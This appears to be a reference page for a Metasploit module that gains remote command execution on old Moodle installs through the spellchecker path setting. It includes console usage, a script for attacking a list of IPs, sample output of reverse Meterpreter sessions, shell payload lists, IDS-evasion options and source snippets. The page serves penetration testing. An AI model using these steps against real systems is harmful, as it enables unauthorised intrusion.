Moodle Authenticated Spelling Binary RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/moodle_spelling_binary_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Moodle Authenticated Spelling Binary RCE
Module: exploit/multi/http/moodle_spelling_binary_rce
Source code: modules/exploits/multi/http/moodle_spelling_binary_rce.rb
Disclosure date: 2013-10-30
Last modification time: 2021-08-29 17:18:06 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-3630, CVE-2013-4341, CVE-2021-21809
Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using moodle_spelling_binary_rce against a single host
Normally, you can use exploit/multi/http/moodle_spelling_binary_rce this way:
msf > use exploit/multi/http/moodle_spelling_binary_rce
msf exploit(moodle_spelling_binary_rce) > show targets
... a list of targets ...
msf exploit(moodle_spelling_binary_rce) > set TARGET target-id
msf exploit(moodle_spelling_binary_rce) > show options
... show and set options ...
msf exploit(moodle_spelling_binary_rce) > exploit
Using moodle_spelling_binary_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your moodle_spelling_binary_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/moodle_spelling_binary_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
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Msfconsole Usage
Here is how the multi/http/moodle_spelling_binary_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/moodle_spelling_binary_rce
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show info
Name: Moodle Authenticated Spelling Binary RCE
Module: exploit/multi/http/moodle_spelling_binary_rce
Platform: Unix, Linux
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-10-30
Provided by:
Brandon Perry <[email protected]>
Module side effects:
config-changes
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SESSKEY no The session key of the user to impersonate
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /moodle/ yes The URI of the Moodle installation
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
Moodle allows an authenticated user to define spellcheck settings
via the web interface. The user can update the spellcheck mechanism
to point to a system-installed aspell binary. By updating the path
for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon
spellchecking requests. This module also allows an attacker to
leverage another privilege escalation vuln. Using the referenced XSS
vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing
the module to pop a shell as a previously unprivileged authenticated
user. This module was tested against Moodle version 2.5.2 and 2.2.3.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-3630
https://nvd.nist.gov/vuln/detail/CVE-2013-4341
https://www.exploit-db.com/exploits/28174
https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats
Module Options
This is a complete list of options available in the multi/http/moodle_spelling_binary_rce exploit:
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show options
Module options (exploit/multi/http/moodle_spelling_binary_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SESSKEY no The session key of the user to impersonate
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /moodle/ yes The URI of the Moodle installation
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/moodle_spelling_binary_rce exploit:
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show advanced
Module advanced options (exploit/multi/http/moodle_spelling_binary_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MOODLECHECK true yes Check if the website is a valid Moodle install
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted:
Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/moodle_spelling_binary_rce module can exploit:
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/moodle_spelling_binary_rce exploit:
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
3 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
4 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
5 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
6 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
7 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
8 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
9 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
10 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
11 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
12 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
13 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/moodle_spelling_binary_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- No web server or moodle instance found
- Unable to determine moodle version
- Exploitable Moodle version <V> detected
- Non-exploitable Moodle version <V> detected
- No response received from the target.
- Login failed
- Getting session key to update spellchecker if no session key was specified
- Unable to get proper session key
- Error triggering payload
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No web server or moodle instance found
Here is a relevant code snippet related to the "No web server or moodle instance found" error message:
69: ]
70: )
71: end
72:
73: def check
74: return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
75:
76: v = moodle_version
77: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
78: if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
79: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
Unable to determine moodle version
Here is a relevant code snippet related to the "Unable to determine moodle version" error message:
72:
73: def check
74: return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
75:
76: v = moodle_version
77: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
78: if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
79: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
80: end
81:
82: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
Exploitable Moodle version <V> detected
Here is a relevant code snippet related to the "Exploitable Moodle version <V> detected" error message:
74: return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
75:
76: v = moodle_version
77: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
78: if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
79: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
80: end
81:
82: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
83: end
84:
Non-exploitable Moodle version <V> detected
Here is a relevant code snippet related to the "Non-exploitable Moodle version <V> detected" error message:
77: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
78: if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
79: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
80: end
81:
82: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
83: end
84:
85: def exploit
86: init = send_request_cgi({
87: 'uri' => normalize_uri(target_uri.path, 'index.php'),
No response received from the target.
Here is a relevant code snippet related to the "No response received from the target." error message:
86: init = send_request_cgi({
87: 'uri' => normalize_uri(target_uri.path, 'index.php'),
88: 'keep_cookies' => true
89: })
90:
91: fail_with(Failure::Unreachable, 'No response received from the target.') unless init
92:
93: print_status('Authenticating as user: ' << datastore['USERNAME'])
94:
95: # don't use the lib version of the login since this is older and has different parameters
96: login = send_request_cgi({
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
102: },
103: 'keep_cookies' => true
104: })
105:
106: if !login || (login.code != 303)
107: fail_with(Failure::NoAccess, 'Login failed')
108: end
109:
110: print_status('Getting session key to update spellchecker if no session key was specified')
111:
112: sesskey = ''
Getting session key to update spellchecker if no session key was specified
Here is a relevant code snippet related to the "Getting session key to update spellchecker if no session key was specified" error message:
105:
106: if !login || (login.code != 303)
107: fail_with(Failure::NoAccess, 'Login failed')
108: end
109:
110: print_status('Getting session key to update spellchecker if no session key was specified')
111:
112: sesskey = ''
113: if datastore['SESSKEY'] == ''
114: tinymce = send_request_cgi({
115: 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
Unable to get proper session key
Here is a relevant code snippet related to the "Unable to get proper session key" error message:
119: 'keep_cookies' => true
120: })
121:
122: sesskey = tinymce.get_hidden_inputs[1]['sesskey']
123: unless sesskey
124: fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
125: end
126: else
127: sesskey = datastore['SESSKEY']
128: end
129:
Error triggering payload
Here is a relevant code snippet related to the "Error triggering payload" error message:
164: 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
165: 'data' => spellcheck,
166: 'ctype' => 'application/json',
167: 'keep_cookies' => true
168: })
169:
170: if !resp || (resp.code != 200)
171: fail_with(Failure::PayloadFailed, 'Error triggering payload')
172: end
173: end
174: end
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Related Pull Requests
- #15612 Merged Pull Request: This PR kicks moodle in to being a real target
- #15706 Merged Pull Request: Display TCP forwarding information for sessions and jobs for reverse shells
- #15747 Merged Pull Request: Add VMware vCenter Server CVE-2021-22005 exploit
- #15750 Merged Pull Request: ruby 3 windows color support
- #15698 Merged Pull Request: Add PoC for CVE-2021-22555 Netfilter Priv Escalation
- #15745 Merged Pull Request: Fix bug where refs are not checked if the notes section is before refs
- #15744 Merged Pull Request: update description, refs, and rubocop on tomcat_jsp_upload_bypass
- #15730 Merged Pull Request: Update Gitea Git hooks RCE check method
- #15739 Merged Pull Request: Add Diagnostic State Module for hwbridge
- #15735 Merged Pull Request: Update call to deprecated connection_config
- #15737 Merged Pull Request: Fix action handling for auxiliary modules
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/moodle_cmd_exec
- exploit/multi/http/moodle_spelling_path_rce
- exploit/multi/http/moodle_admin_shell_upload
- exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
- exploit/windows/browser/hp_loadrunner_writefilebinary
Related Nessus plugins:
- Fedora 20 : moodle-2.5.3-1.fc20 (2013-21312)
- Fedora 18 : moodle-2.3.10-1.fc18 (2013-21354)
- Fedora 19 : moodle-2.4.7-1.fc19 (2013-21397)
Authors
- Brandon Perry <bperry.volatile[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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